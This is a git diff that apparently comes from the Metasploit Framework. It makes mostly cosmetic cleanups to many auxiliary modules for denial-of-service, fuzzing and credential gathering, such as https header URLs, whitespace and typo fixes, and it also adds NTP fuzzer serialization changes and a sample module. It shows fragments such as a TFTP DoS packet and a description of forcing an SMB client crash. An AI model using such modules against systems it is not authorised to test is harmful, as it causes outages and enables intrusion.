--- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb
+++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -63,7 +60,6 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
 
 =begin
diff --git a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb
index 12119dace0..71c44a4f2a 100644
--- a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb
+++ b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TcpServer
   include Auxiliary::Dos
 
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q{
           This module exploits a denial of service flaw in the Microsoft
         Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger
-        this bug, run this module as a service and forces a vulnerabile client
+        this bug, run this module as a service and forces a vulnerable client
         to access the IP of this system as an SMB server. This can be accomplished
         by embedding a UNC path (\\HOST\share\something) into a web page if the
         target is using Internet Explorer, or a Word document otherwise.
diff --git a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb
index bee4692a74..f3cff9f528 100644
--- a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb
+++ b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Auxiliary::Dos
 
@@ -111,5 +110,4 @@ class MetasploitModule < Msf::Auxiliary
     select(nil, nil, nil, 0.5)
 
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb
index fd909a6ac2..a9efca3294 100644
--- a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb
+++ b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   #include Msf::Exploit::Remote::SMB::Client
   include Auxiliary::Dos
@@ -170,5 +169,4 @@ class MetasploitModule < Msf::Auxiliary
     ret << svc
     ret
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb
index 2ba39838ce..e82a6f83aa 100644
--- a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb
+++ b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
 
@@ -72,5 +70,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb
index 4d8b1dcf70..c13e892393 100644
--- a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb
+++ b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb
index 67ddf185c6..221e23734c 100644
--- a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb
+++ b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Smtp
   include Msf::Auxiliary::Dos
 
@@ -110,5 +107,4 @@ class MetasploitModule < Msf::Auxiliary
     print "<< " + (sock.get_once || '')
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb
index 252c016f3a..5199e2d641 100644
--- a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb
+++ b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Dos
 
@@ -77,5 +74,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/dos/windows/tftp/pt360_write.rb b/modules/auxiliary/dos/windows/tftp/pt360_write.rb
index 3bbcfa53bc..1f53828de6 100644
--- a/modules/auxiliary/dos/windows/tftp/pt360_write.rb
+++ b/modules/auxiliary/dos/windows/tftp/pt360_write.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/windows/tftp/solarwinds.rb b/modules/auxiliary/dos/windows/tftp/solarwinds.rb
index a54751c7cf..bc2daa240c 100644
--- a/modules/auxiliary/dos/windows/tftp/solarwinds.rb
+++ b/modules/auxiliary/dos/windows/tftp/solarwinds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
@@ -36,5 +35,4 @@ class MetasploitModule < Msf::Auxiliary
     udp_sock.put("\x00\x01\x01\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00")
     disconnect_udp
   end
-
 end
diff --git a/modules/auxiliary/dos/wireshark/capwap.rb b/modules/auxiliary/dos/wireshark/capwap.rb
index e6ca760629..9965534db3 100644
--- a/modules/auxiliary/dos/wireshark/capwap.rb
+++ b/modules/auxiliary/dos/wireshark/capwap.rb
@@ -1,10 +1,9 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/wireshark/chunked.rb b/modules/auxiliary/dos/wireshark/chunked.rb
index 3894289068..28c0ae2189 100644
--- a/modules/auxiliary/dos/wireshark/chunked.rb
+++ b/modules/auxiliary/dos/wireshark/chunked.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/wireshark/cldap.rb b/modules/auxiliary/dos/wireshark/cldap.rb
index f1d6d3dd37..ff16c6d478 100644
--- a/modules/auxiliary/dos/wireshark/cldap.rb
+++ b/modules/auxiliary/dos/wireshark/cldap.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Dos
 
diff --git a/modules/auxiliary/dos/wireshark/ldap.rb b/modules/auxiliary/dos/wireshark/ldap.rb
index ba92d4c17f..6297be8c33 100644
--- a/modules/auxiliary/dos/wireshark/ldap.rb
+++ b/modules/auxiliary/dos/wireshark/ldap.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Dos
 
@@ -55,5 +54,4 @@ class MetasploitModule < Msf::Auxiliary
     close_pcap
 
   end
-
 end
diff --git a/modules/auxiliary/example.rb b/modules/auxiliary/example.rb
new file mode 100644
index 0000000000..0ced416c69
--- /dev/null
+++ b/modules/auxiliary/example.rb
@@ -0,0 +1,43 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+###
+#
+# This sample auxiliary module simply displays the selected action and
+# registers a custom command that will show up when the module is used.
+#
+###
+class MetasploitModule < Msf::Auxiliary
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'        => 'Sample Auxiliary Module',
+        # The description can be multiple lines, but does not preserve formatting.
+        'Description' => 'Sample Auxiliary Module',
+        'Author'      => ['Joe Module <joem@example.com>'],
+        'License'     => MSF_LICENSE,
+        'Actions'     => [
+          [ 'Default Action' ],
+          [ 'Another Action' ]
+        ]
+      )
+    )
+  end
+
+  def run
+    print_status("Running the simple auxiliary module with action #{action.name}")
+  end
+
+  # auxiliary modules can register new commands, they all call cmd_* to
+  # dispatch them
+  def auxiliary_commands
+    { "aux_extra_command" => "Run this auxiliary test commmand" }
+  end
+
+  def cmd_aux_extra_command(*args)
+    print_status("Running inside aux_extra_command(#{args.join(' ')})")
+  end
+end
diff --git a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb
index 7c1d312e20..e977051875 100644
--- a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb
+++ b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'bindata'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Fuzzer
diff --git a/modules/auxiliary/fuzzers/ftp/client_ftp.rb b/modules/auxiliary/fuzzers/ftp/client_ftp.rb
index 7806deeafe..db1bdae4e9 100644
--- a/modules/auxiliary/fuzzers/ftp/client_ftp.rb
+++ b/modules/auxiliary/fuzzers/ftp/client_ftp.rb
@@ -1,7 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
-#
+##
+
+##
 # Fuzzer written by corelanc0d3r - <peter.ve [at] corelan.be>
 # http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/
 #
@@ -9,7 +11,6 @@
 
 
 class MetasploitModule < Msf::Auxiliary
-
   include Exploit::Remote::TcpServer
 
   def initialize()
diff --git a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb
index df6d100992..44046f2b2d 100644
--- a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb
+++ b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Exploit::Remote::Tcp
 
@@ -251,5 +250,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/fuzzers/http/http_form_field.rb b/modules/auxiliary/fuzzers/http/http_form_field.rb
index 7bc7c6bcaa..da32db68e1 100644
--- a/modules/auxiliary/fuzzers/http/http_form_field.rb
+++ b/modules/auxiliary/fuzzers/http/http_form_field.rb
@@ -1,16 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-##
-#
-# Tip : run "show advanced" for more options
-#
-##
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb
index 3ada9f295a..ae9b53122e 100644
--- a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb
+++ b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb
index 23e9ef24c0..ea87a81898 100644
--- a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb
+++ b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb
index 7bf389b4be..b9bf75753f 100644
--- a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb
+++ b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb
@@ -1,6 +1,5 @@
-# encoding: UTF-8
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -99,7 +98,7 @@ class MetasploitModule < Msf::Auxiliary
     @versions.each do |version|
       print_status("#{host}:#{rport} fuzzing version #{version} control messages (mode 6)")
       @mode_6_operations.each do |op|
-        request = Rex::Proto::NTP.ntp_control(version, op)
+        request = Rex::Proto::NTP.ntp_control(version, op).to_binary_s
         what = "#{request.size}-byte version #{version} mode 6 op #{op} message"
         vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}")
         responses = probe(host, datastore['RPORT'].to_i, request)
@@ -115,7 +114,7 @@ class MetasploitModule < Msf::Auxiliary
       print_status("#{host}:#{rport} fuzzing version #{version} private messages (mode 7)")
       @mode_7_implementations.each do |implementation|
         @mode_7_request_codes.each do |request_code|
-          request = Rex::Proto::NTP.ntp_private(version, implementation, request_code, "\x00" * 188)
+          request = Rex::Proto::NTP.ntp_private(version, implementation, request_code, "\0" * 188).to_binary_s
           what = "#{request.size}-byte version #{version} mode 7 imp #{implementation} req #{request_code} message"
           vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}")
           responses = probe(host, datastore['RPORT'].to_i, request)
@@ -165,6 +164,7 @@ class MetasploitModule < Msf::Auxiliary
           # TODO: is there a better way to pick this size?  Should more than one be tried?
           request.payload = SecureRandom.random_bytes(16)
         end
+        request = request.to_binary_s
         what = "#{request.size}-byte #{short ? 'short ' : nil}version #{version} mode #{mode} message"
         vprint_status("#{host}:#{rport} probing with #{what}")
         responses = probe(host, datastore['RPORT'].to_i, request)
@@ -176,6 +176,7 @@ class MetasploitModule < Msf::Auxiliary
 
   # Sends +message+ to +host+ on UDP port +port+, returning all replies
   def probe(host, port, message)
+    message = message.to_binary_s if message.respond_to?('to_binary_s')
     replies = []
     begin
       udp_sock.sendto(message, host, port, 0)
@@ -193,14 +194,15 @@ class MetasploitModule < Msf::Auxiliary
   def handle_responses(host, request, responses, what)
     problems = []
     descriptions = []
+    request = request.to_binary_s if request.respond_to?('to_binary_s')
     responses.select! { |r| r[1] }
     return if responses.empty?
     responses.each do |response|
       data = response[0]
       descriptions << Rex::Proto::NTP.describe(data)
       problems << 'large response' if request.size < data.size
-      ntp_req = Rex::Proto::NTP::NTPGeneric.new(request)
-      ntp_resp = Rex::Proto::NTP::NTPGeneric.new(data)
+      ntp_req = Rex::Proto::NTP::NTPGeneric.new.read(request)
+      ntp_resp = Rex::Proto::NTP::NTPGeneric.new.read(data)
       problems << 'version mismatch' if ntp_req.version != ntp_resp.version
     end
 
diff --git a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb
index ebe0174888..3e4be7c9b5 100644
--- a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb
+++ b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Fuzzer
 
@@ -13,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'           => 'SMB Negotiate SMB2 Dialect Corruption',
       'Description'    => %q{
-        This module sends a series of SMB negiotiate requests that advertise a
+        This module sends a series of SMB negotiate requests that advertise a
       SMB2 dialect with corrupted bytes.
       },
       'Author'         => [ 'hdm' ],
diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb
index aa041c0030..8fb9e2f603 100644
--- a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb
+++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb
index d26333d7b0..d36321d18d 100644
--- a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb
+++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb
index d7ef328fe6..94d8691e10 100644
--- a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb
+++ b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Fuzzer
 
@@ -13,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'           => 'SMB Negotiate Dialect Corruption',
       'Description'    => %q{
-        This module sends a series of SMB negiotiate requests with corrupted bytes
+        This module sends a series of SMB negotiate requests with corrupted bytes
       },
       'Author'         => [ 'hdm' ],
       'License'        => MSF_LICENSE
diff --git a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb
index 0c90627833..e4f190c7e4 100644
--- a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb
+++ b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb
index 4fa3d732a6..580c7b3e24 100644
--- a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb
+++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb
index 596b79a149..67aff3e3c0 100644
--- a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb
+++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb
index 7f0e03de06..fbbb3eb56a 100644
--- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb
+++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,7 +9,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Smtp
   include Msf::Auxiliary::Fuzzer
   include Msf::Auxiliary::Scanner
@@ -153,5 +152,4 @@ class MetasploitModule < Msf::Auxiliary
     end
   end
   end
-
 end
diff --git a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb
index b0a0be634c..07cc7e6789 100644
--- a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb
+++ b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb
index 542a11a7e1..49b1918591 100644
--- a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb
+++ b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb
index 3cfbec6b0c..afd5f3b5b0 100644
--- a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb
+++ b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb
index 6f5e3b65ab..84d619f114 100644
--- a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb
+++ b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb
index 05521f4c39..78af3d93d6 100644
--- a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb
+++ b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/fuzzers/tds/tds_login_username.rb b/modules/auxiliary/fuzzers/tds/tds_login_username.rb
index 625a5452bc..5de7a2109a 100644
--- a/modules/auxiliary/fuzzers/tds/tds_login_username.rb
+++ b/modules/auxiliary/fuzzers/tds/tds_login_username.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Fuzzer
 
diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb
index 61673a7a14..7d66985fdc 100644
--- a/modules/auxiliary/gather/advantech_webaccess_creds.rb
+++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info={})
@@ -169,5 +168,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb
index 663f078691..c681013bdb 100644
--- a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb
+++ b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Auxiliary
-
